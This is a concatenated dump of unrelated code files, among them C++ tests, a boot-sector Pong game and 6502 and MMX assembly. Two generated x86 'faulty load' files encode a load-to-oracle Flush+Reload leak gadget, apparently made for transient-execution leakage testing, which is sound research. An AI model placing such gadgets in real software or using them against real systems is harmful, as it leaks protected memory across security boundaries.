text stringlengths 1 1.05M |
|---|
// ------------------------------------------------------------
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License (MIT). See License.txt in the repo root for license information.
// ------------------------------------------------------------
#include "stdafx.h"
using namespace std;
using namespace Common;
using namespace TXRStatefulServiceBase;
using namespace NightWatchTXRService;
int main(int, char**)
{
auto callback =
[](FABRIC_PARTITION_ID partitionId, FABRIC_REPLICA_ID replicaId, ComponentRootSPtr const & root)
{
ComPointer<Service> service = make_com<Service>(partitionId, replicaId, root);
ComPointer<StatefulServiceBase> serviceBase;
serviceBase.SetAndAddRef(service.GetRawPointer());
return serviceBase;
};
shared_ptr<Factory> factory = Factory::Create(callback);
ComPointer<ComFactory> comFactory = make_com<ComFactory>(L"NightWatchTXRServiceType", *factory.get());
ComPointer<IFabricRuntime> fabricRuntime;
ASSERT_IFNOT(
::FabricCreateRuntime(IID_IFabricRuntime, fabricRuntime.VoidInitializationAddress()) == S_OK,
"Failed to create fabric runtime");
fabricRuntime->RegisterStatefulServiceFactory(
L"NightWatchTXRServiceType",
comFactory.GetRawPointer());
printf("Press any key to terminate..\n");
wchar_t singleChar;
wcin.getline(&singleChar, 1);
return 0;
}
|
#note: r40 (the exception handler) and r46 (the start of usermode code) must
#be specified in hex (0xwhatever)
#I just don't see any reason not to, and it makes programming the script
#much nicer to deal with...
#load exception handler
lc r40, 0x80000050
leh r40
#enable exceptions
cle
#load TLB entries
#virtual page 0 is for instructions
#virtual page 1 is for data
lc r46, 0x0000005c #usermode start address
lc r47, 1 #interrupts off
lc r48, 1 #in user mode
lc r42, 0x00000000 #denotes VPN 0
lc r43, 0x0000000d #denotes VPN 0 maps to physical page 0
#and is fetchable, readable, and valid
tlbse r0, r42 #load into entry 0
lc r42, 0x00001000 #denotes VPN 1
lc r43, 0x0000101e #denotes VPN 1 maps to physical page 1
#and is readable, writable, valid, and dirty
#(dirty to prevent taking a
#read-only exception)
tlbse r48, r42 #load into entry 1
#this last tlb entry is designed to produce a bus error
lc r44, 2 #load into TLB entry 2
lc r42, 0x3fffe000 #denotes VPN 0x3fffe
lc r43, 0x3fffe01f #map VPN 0x3fffe to page 0x3fffe
#and is readable, writable, valid, and dirty
#(dirty to prevent taking a
#read-only exception)
tlbse r44, r42
#warp to user mode
rfe r46, r47, r48
#handle exceptions
lc r49, 0xdeadbeef
halt #or rather don't =)
lc r30, 1
info k2, 1
trap
#@expected values
#e3 = 0x000000a0
#mode = S
#interrupts = off
#exceptions = off
#r40 = 0x80000050
#r46 = 0x0000005c
#r47 = 1
#r48 = 1
#r42 = 0x3fffe000
#r43 = 0x3fffe01f
#r44 = 2
#r49 = 0xdeadbeef
#pc = 0x8000005c
#e0 = 0x00000060
#e2 = 0x00000060
#e1 = 0x00000001
#tlb 0:
# vpn = 0x00000
# os = 0x000
# ppn = 0x00000
# at = 0x00d
#tlb 1:
# vpn = 0x00001
# os = 0x000
# ppn = 0x00001
# at = 0x01e
#tlb 2:
# vpn = 0x3fffe
# os = 0x000
# ppn = 0x3fffe
# at = 0x01f
|
/******************************************************************************
* Copyright 2018 The Apollo Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*****************************************************************************/
#include <string>
#include "cyber/proto/record.pb.h"
#include "cyber/cyber.h"
#include "cyber/message/raw_message.h"
#include "cyber/record/record_message.h"
#include "cyber/record/record_reader.h"
#include "cyber/record/record_writer.h"
using apollo::cyber::message::RawMessage;
using ::apollo::cyber::record::RecordMessage;
using ::apollo::cyber::record::RecordReader;
using ::apollo::cyber::record::RecordWriter;
const char CHANNEL_NAME_1[] = "/test/channel1";
const char CHANNEL_NAME_2[] = "/test/channel2";
const char MESSAGE_TYPE_1[] = "apollo.cyber.proto.Test";
const char MESSAGE_TYPE_2[] = "apollo.cyber.proto.Channel";
const char PROTO_DESC[] = "1234567890";
const char STR_10B[] = "1234567890";
const char TEST_FILE[] = "test.record";
void test_write(const std::string &writefile) {
RecordWriter writer;
writer.SetSizeOfFileSegmentation(0);
writer.SetIntervalOfFileSegmentation(0);
writer.Open(writefile);
writer.WriteChannel(CHANNEL_NAME_1, MESSAGE_TYPE_1, PROTO_DESC);
for (uint32_t i = 0; i < 100; ++i) {
auto msg = std::make_shared<RawMessage>("abc" + std::to_string(i));
writer.WriteMessage(CHANNEL_NAME_1, msg, 888 + i);
}
writer.Close();
}
void test_read(const std::string &readfile) {
RecordReader reader(readfile);
RecordMessage message;
uint64_t msg_count = reader.GetMessageNumber(CHANNEL_NAME_1);
AINFO << "MSGTYPE: " << reader.GetMessageType(CHANNEL_NAME_1);
AINFO << "MSGDESC: " << reader.GetProtoDesc(CHANNEL_NAME_1);
// read all message
uint64_t i = 0;
uint64_t valid = 0;
for (i = 0; i < msg_count; ++i) {
if (reader.ReadMessage(&message)) {
AINFO << "msg[" << i << "]-> "
<< "channel name: " << message.channel_name
<< "; content: " << message.content
<< "; msg time: " << message.time;
valid++;
} else {
AERROR << "read msg[" << i << "] failed";
}
}
AINFO << "static msg=================";
AINFO << "MSG validmsg:totalcount: " << valid << ":" << msg_count;
}
int main(int argc, char *argv[]) {
apollo::cyber::Init(argv[0]);
test_write(TEST_FILE);
sleep(1);
test_read(TEST_FILE);
return 0;
}
|
; A302406: Total domination number of the n X n torus grid graph.
; 0,1,2,3,4,8,10,14,16,23,26,33,36,46,50,60,64,77,82,95,100,116,122,138,144,163,170,189,196,218,226,248,256,281,290,315,324,352,362,390,400,431,442,473,484,518,530,564,576,613,626,663,676,716,730,770,784,827,842,885
mov $2,$0
mov $4,$0
lpb $4
add $1,$2
lpb $1
add $3,$0
mov $1,$3
lpe
sub $2,1
trn $4,2
lpe
mov $0,$1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r8
push %rax
push %rdx
lea addresses_normal_ht+0xce36, %r11
nop
nop
inc %rdx
movl $0x61626364, (%r11)
xor $27307, %r8
lea addresses_normal_ht+0x197d4, %r12
nop
nop
nop
nop
cmp %r11, %r11
mov $0x6162636465666768, %rax
movq %rax, (%r12)
nop
nop
nop
xor %r12, %r12
pop %rdx
pop %rax
pop %r8
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r8
push %rbx
push %rcx
push %rdx
push %rsi
// Store
lea addresses_PSE+0xea36, %r12
clflush (%r12)
nop
lfence
movb $0x51, (%r12)
nop
nop
sub $12, %rcx
// Store
lea addresses_normal+0x5176, %r8
nop
nop
nop
cmp $23142, %rsi
mov $0x5152535455565758, %r14
movq %r14, (%r8)
nop
nop
nop
add %r12, %r12
// Store
lea addresses_normal+0x170ea, %r12
nop
nop
and %rbx, %rbx
mov $0x5152535455565758, %rdx
movq %rdx, %xmm1
movups %xmm1, (%r12)
xor %rsi, %rsi
// Store
lea addresses_WT+0x1e836, %rdx
nop
nop
nop
xor %r14, %r14
movb $0x51, (%rdx)
nop
nop
sub $60597, %r12
// Load
lea addresses_UC+0x19013, %r8
clflush (%r8)
nop
nop
xor $62984, %r12
movb (%r8), %bl
nop
add $18856, %rdx
// Store
lea addresses_PSE+0x15a36, %rdx
and %r12, %r12
movw $0x5152, (%rdx)
nop
nop
nop
nop
cmp %r8, %r8
// Faulty Load
lea addresses_UC+0x1e236, %rbx
nop
nop
nop
sub %r12, %r12
mov (%rbx), %r8
lea oracles, %r14
and $0xff, %r8
shlq $12, %r8
mov (%r14,%r8,1), %r8
pop %rsi
pop %rdx
pop %rcx
pop %rbx
pop %r8
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 8, 'NT': True, 'same': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 9}}
{'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 11}}
[Faulty Load]
{'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 1}}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
|
.MODEL flat, c
.CODE
MmxMultiply PROC
push ebp
mov ebp, esp
movq mm0, [ebp+8] ; mm0 = a
movq mm1, [ebp+16] ; mm1 = b
movq mm2, mm0 ; mm2 = a
pmullw mm0, mm1 ; mm0 = product low result
pmulhw mm1, mm2 ; mm1 = product high result
movq mm2, mm0 ; mm2 = product low result
punpcklwd mm0, mm1 ; mm0 = low dword product
punpckhwd mm2, mm1 ; mm2 = high dword product
mov eax, [ebp+24] ; eax = *prod_lo
mov edx, [ebp+28] ; edx = *prod_hi
movq [eax], mm0 ; save low dword product
movq [edx], mm2 ; save high dword product
pop ebp
ret
MmxMultiply ENDP
END |
[BITS 16]
[ORG 0x7C00]
%include "macros.asm"
; CODE BEGIN
;
;
jmp 0x00:start ;setting code segment
start:
cli
xor ax, ax
mov ds, ax; setting data segment to zero
mov ss, ax; setting up stack segment
mov sp, 0x7C00 ;setting up stackpointer (just before the loaded bootsector)
mov ax, 0xA000 ;beginning of the framebuffer
mov es, ax; setting the extra segment for pixel drawing purposes
;setting 320x200 256 colors graphics mode
mov ax, 0x0013
sti
int 0x10
cli
;initializing keyboard
;wait until keyboard is ready
keyboard_check.loop:
xor ax,ax
in al,0x64
bt ax, 1 ;test if buffer is still full
jc keyboard_check.loop
;activating keyboard
mov al, 0xF4
out 0x60, al
;main game loop
main_loop:
CLS
;drawing stuff
mov si, player1_y
mov dx, word [player1_x]
call draw_player
mov si, player2_y
mov dx, word [player2_x]
call draw_player
DRAW_BALL
;updates
UPDATE_BALL_LOCATION
;get keyboard input
in al, 0x60 ;reading current keyboard input
xor cx, cx ;resetting player y-speed variable
cmp al, 0x11 ;Key W
je .player1_input_w
.player1_input_w_continue:
cmp al, 0x1F ;Key S
je .player1_input_s
.player1_input_s_continue:
mov word [player1_dy], cx ;writing player y-speed
;collisions
mov si, player1_y
call player_screen_collision
mov si, player2_y
call player_screen_collision
;ball outside of screen
;horizontal
mov word ax, [ball_x]
mov bx, RES_X
cmp ax, bx
ja .ball_out_of_screen
.ball_out_of_screen_continue:
;vertical
mov word ax, [ball_y]
mov bx, RES_Y
cmp ax, bx
jna .ball_out_of_screen_vertical_continue
call reflect_ball_y
.ball_out_of_screen_vertical_continue:
;player ball collision
mov cx, 1
call player_ball_check ;player 1 paddle collision
mov cx, 2
call player_ball_check ;player 2 paddle collision
ENEMY_AI
;waiting for the next frame to start
WAIT_FOR_RTC
jmp main_loop
;INPUT IFS
;KEY W
.player1_input_w:
mov word bx, [player1_y]
dec bx
mov word [player1_y], bx
mov cx, -1 ;set player y direction
jmp .player1_input_w_continue
;KEY S
.player1_input_s:
mov word bx, [player1_y]
inc bx
mov word [player1_y], bx
mov cx, 1 ;set player y direction
jmp .player1_input_s_continue
;ball collision ifs
;ball out of screen
.ball_out_of_screen:
mov ax, bx
shr ax,1 ;division by two
mov word [ball_x], ax
xor ax, ax
mov word [ball_dy], ax ;reset y-speed
jmp .ball_out_of_screen_continue
.functions:
;drawing player
;si=adress of the player paddle's y-position
;dx=player paddle's x-position
draw_player:
xor ax,ax
mov word [i], ax ;reset loop variable
player_draw_loop:
;calculating framebuffer offset
mov ax, RES_X
mov word bx, [si] ;loading y-position
add word bx, [i]
push dx ;save dx because the multiplication breaks it
mul bx
pop dx
add ax, dx ;adding player x-position
mov di, ax ;writing the framebuffer offset for the actual writing purposes
mov al, YELLOW ;color code within the 256 color palette
mov cx, PLAYER_WIDTH ;number of repitions in x direction
repe stosb ;write the line of player paddle
;incrementing loop counting variable
mov word ax, [i] ;reading loop variable
inc ax ;incrementing loop variable
mov word [i], ax ;writing loop variable
cmp ax, PLAYER_HEIGHT ;check if loop counter is smaller than PLAYER_HEIGHT
jl player_draw_loop ;jump if less
ret
;player screen collision
;si=address of the player1/2 y-value
player_screen_collision:
;keeping player 1 inside the screen
mov word ax, [si]
;if player is too low on the screen set him a bit higher
cmp ax, PLAYER_LOWEST
jae .player_screen_collision_too_low
.player_screen_collision_too_low_continue:
;if player is too high on the screen set him a bit lower
cmp ax, 0
je .player_screen_collision_too_high
.player_screen_collision_too_high_continue:
mov word [si], ax
ret
;if player is too low on the screen
.player_screen_collision_too_low:
mov ax, PLAYER_LOWEST
jmp .player_screen_collision_too_low_continue
;if player is too high on the screen
.player_screen_collision_too_high:
mov ax, 1
jmp .player_screen_collision_too_high_continue
;player_ball_collision
;cx=1 player one collision check
;else player two collision check
player_ball_check:
mov word ax, [ball_x]
cmp cx, 1
cmove word bx, [player1_x]
cmovne word bx, [player2_x]
add bx, PLAYER_WIDTH_HALF
cmp ax, bx
jne .player_y_ball_check_continue
;check if ball is below the top edge of the paddle
mov word ax, [ball_y]
cmp cx, 1
cmove word bx, [player1_y]
cmovne word bx, [player2_y]
cmp ax, bx
jl .player_y_ball_check_continue
;check if ball is above the bottom edge of the paddle
add bx, PLAYER_HEIGHT
cmp ax, bx
jae .player_y_ball_check_continue
;reflect ball
mov word ax, [ball_dx]
mov bx, -1
mul bx
mov word [ball_dx], ax
;add the y-speed of the paddle
cmp cx, 1 ;if player1
cmove ax, word [player1_dy]
cmovne ax, word [player2_dy]
add ax, word [ball_dy]
mov word [ball_dy], ax
.player_y_ball_check_continue:
ret
reflect_ball_y:
mov word ax, [ball_dy]
mov bx, -1
mul bx
mov word [ball_dy], ax
ret
.data:
timer_current dw 0
i dw 0 ;loop variable
player1_x dw 20
player1_y dw 80
player2_x dw 290
player2_y dw 80
player1_dy dw 0
player2_dy dw 0
ball_x dw 100
ball_y dw 85
ball_dy dw 0
ball_dx dw -1
MARK dq 0xFFFFFFFF
;padding to fill up the bootsector
times 510 - ($-$$) db 0
;bootsector marker
dw 0xAA55
; fill up to make a floppy image
times 1474560 - ($-$$) db 0 |
copyright zengfr site:http://github.com/zengfr/romhack
0007D0 move.b $80001c.l, ($23,A5) [base+ 22]
0007D8 move.b $80001e.l, ($24,A5) [base+ 23]
0007E4 not.b ($23,A5) [base+ 22]
0007E8 not.b ($24,A5) [base+ 23]
copyright zengfr site:http://github.com/zengfr/romhack
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r8
lea addresses_A_ht+0x1620b, %r8
nop
nop
nop
nop
nop
cmp $32651, %r12
vmovups (%r8), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %r13
nop
nop
xor $37643, %r12
pop %r8
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %r8
push %rax
push %rdx
// Store
lea addresses_WT+0x1cf0b, %r14
nop
nop
nop
nop
inc %r8
movw $0x5152, (%r14)
cmp $60985, %r10
// Store
lea addresses_UC+0x960b, %r13
xor $24152, %rax
movb $0x51, (%r13)
nop
sub %rax, %rax
// Load
lea addresses_WC+0x60cb, %r8
nop
nop
sub $54199, %rax
mov (%r8), %r11
nop
nop
nop
nop
cmp $42454, %r11
// Load
mov $0xe0b, %rdx
xor $39607, %r8
mov (%rdx), %eax
nop
nop
nop
nop
and %r14, %r14
// Load
lea addresses_normal+0x154fe, %rax
clflush (%rax)
nop
nop
nop
nop
cmp %r10, %r10
mov (%rax), %r8w
nop
nop
nop
add %r10, %r10
// Store
lea addresses_UC+0xad0b, %rdx
clflush (%rdx)
nop
nop
nop
nop
xor %r13, %r13
movw $0x5152, (%rdx)
nop
nop
nop
nop
nop
cmp $59003, %rdx
// Store
mov $0x309c3f00000008eb, %r8
nop
nop
nop
dec %r11
movl $0x51525354, (%r8)
nop
and $41059, %r11
// Load
lea addresses_D+0xe4cb, %r10
nop
nop
nop
nop
nop
inc %r14
mov (%r10), %eax
nop
nop
nop
nop
nop
dec %r11
// Faulty Load
lea addresses_UC+0x960b, %r10
nop
nop
add $60144, %r11
vmovntdqa (%r10), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %r8
lea oracles, %r10
and $0xff, %r8
shlq $12, %r8
mov (%r10,%r8,1), %r8
pop %rdx
pop %rax
pop %r8
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT', 'congruent': 8}, 'OP': 'STOR'}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC', 'congruent': 0}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC', 'congruent': 5}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_P', 'congruent': 11}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 2, 'type': 'addresses_normal', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC', 'congruent': 8}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_NC', 'congruent': 4}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D', 'congruent': 6}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A_ht', 'congruent': 9}}
{'45': 18521, '00': 3308}
00 45 45 00 45 45 00 00 00 00 45 00 45 45 00 45 45 00 45 00 45 00 45 00 45 00 45 45 45 00 00 00 45 00 00 45 00 45 45 00 45 00 45 45 45 45 00 45 45 45 00 45 45 45 45 00 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 00 45 00 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 00 45 45 45 45 00 00 45 45 45 45 45 45 45 45 45 45 45 45 45 00 00 45 45 45 45 00 45 45 45 45 45 45 00 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 00 45 45 00 45 45 45 00 45 00 45 45 45 45 45 00 45 45 45 45 00 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 00 45 45 00 45 45 45 45 45 45 45 00 45 00 45 45 45 45 00 00 45 00 45 45 45 45 45 00 45 00 45 45 00 45 00 00 45 45 00 45 45 45 45 45 45 00 45 45 45 45 00 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 00 45 00 45 45 45 45 45 00 45 45 45 00 45 45 45 45 45 45 45 00 45 00 45 45 45 00 45 45 45 45 45 00 45 45 45 45 45 45 45 45 00 45 45 00 45 45 45 00 45 45 45 45 00 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 00 45 45 45 45 45 45 00 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 00 45 00 45 45 45 45 45 00 45 45 45 00 45 45 45 45 45 00 45 45 45 00 45 45 45 45 00 45 45 45 45 45 00 45 45 45 45 45 45 45 00 45 00 00 45 45 45 45 00 00 45 45 00 45 45 45 45 45 00 45 45 45 00 00 45 45 00 45 45 45 00 00 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 00 45 45 45 45 45 00 45 00 45 45 45 45 00 45 45 00 45 45 45 45 00 45 45 45 00 45 45 45 45 45 00 45 45 45 45 45 45 45 00 45 00 45 45 45 45 00 45 45 45 45 45 45 00 45 00 45 45 45 45 45 45 45 00 45 45 00 45 00 45 45 45 45 45 00 45 45 00 00 45 45 45 00 45 45 45 00 45 45 45 00 45 45 45 45 45 00 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 00 45 45 45 00 45 00 00 00 45 45 45 45 45 00 00 45 45 00 00 45 45 45 45 45 00 45 45 00 45 00 45 45 45 45 45 00 45 00 45 45 45 45 45 45 45 45 00 45 45 45 00 45 45 45 00 00 45 45 45 45 45 45 00 45 45 00 45 00 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 00 45 45 45 00 45 45 00 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 00 45 00 45 45 00 45 45 45 45 45 45 45 45 45 45 00 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 00 00 00 45 45 45 45 00 45 45 45 00 45 45 00 45 00 00 45 00 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 00 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 00 45 45 45 45 45 45
*/
|
*= $0801
.byte $4c,$16,$08,$00,$97,$32
.byte $2c,$30,$3a,$9e,$32,$30
.byte $37,$30,$00,$00,$00,$a9
.byte $01,$85,$02
jsr print
.byte 13
.text "(up)anday"
.byte 0
lda #%00011011
sta db
lda #%11000110
sta ab
lda #%10110001
sta xb
lda #%01101100
sta yb
lda #0
sta pb
tsx
stx sb
lda #0
sta db
sta ab
sta yb
next lda db
sta da
sta dr
eor #$ff
sta cmdr+1
lda ab
eor #$ff
cmdr ora #0
eor #$ff
sta ar
lda xb
sta xr
lda yb
sta yr
lda pb
ora #%00110000
and #%01111101
tax
lda ar
cmp #0
bne nozero
txa
ora #%00000010
tax
nozero lda ar
bpl noneg
txa
ora #%10000000
tax
noneg stx pr
lda sb
sta sr
ldx sb
txs
lda pb
pha
lda ab
ldx xb
ldy yb
plp
cmd and da,y
php
cld
sta aa
stx xa
sty ya
pla
sta pa
tsx
stx sa
jsr check
inc cmd+1
bne noinc
inc cmd+2
noinc lda yb
bne nodec
dec cmd+2
nodec dec yb
clc
lda db
adc #17
sta db
bcc jmpnext
lda #0
sta db
clc
lda ab
adc #17
sta ab
bcc jmpnext
lda #0
sta ab
inc pb
beq nonext
jmpnext jmp next
nonext
jsr print
.text " - ok"
.byte 13,0
lda 2
beq load
wait jsr $ffe4
beq wait
jmp $8000
load jsr print
name .text "andix"
namelen = *-name
.byte 0
lda #0
sta $0a
sta $b9
lda #namelen
sta $b7
lda #<name
sta $bb
lda #>name
sta $bc
pla
pla
jmp $e16f
db .byte 0
ab .byte 0
xb .byte 0
yb .byte 0
pb .byte 0
sb .byte 0
da .byte 0
aa .byte 0
xa .byte 0
ya .byte 0
pa .byte 0
sa .byte 0
dr .byte 0
ar .byte 0
xr .byte 0
yr .byte 0
pr .byte 0
sr .byte 0
check
.block
lda da
cmp dr
bne error
lda aa
cmp ar
bne error
lda xa
cmp xr
bne error
lda ya
cmp yr
bne error
lda pa
cmp pr
bne error
lda sa
cmp sr
bne error
rts
error jsr print
.byte 13
.null "before "
ldx #<db
ldy #>db
jsr showregs
jsr print
.byte 13
.null "after "
ldx #<da
ldy #>da
jsr showregs
jsr print
.byte 13
.null "right "
ldx #<dr
ldy #>dr
jsr showregs
lda #13
jsr $ffd2
wait jsr $ffe4
beq wait
cmp #3
beq stop
rts
stop lda 2
beq basic
jmp $8000
basic jmp ($a002)
showregs stx 172
sty 173
ldy #0
lda (172),y
jsr hexb
lda #32
jsr $ffd2
lda #32
jsr $ffd2
iny
lda (172),y
jsr hexb
lda #32
jsr $ffd2
iny
lda (172),y
jsr hexb
lda #32
jsr $ffd2
iny
lda (172),y
jsr hexb
lda #32
jsr $ffd2
iny
lda (172),y
ldx #"n"
asl a
bcc ok7
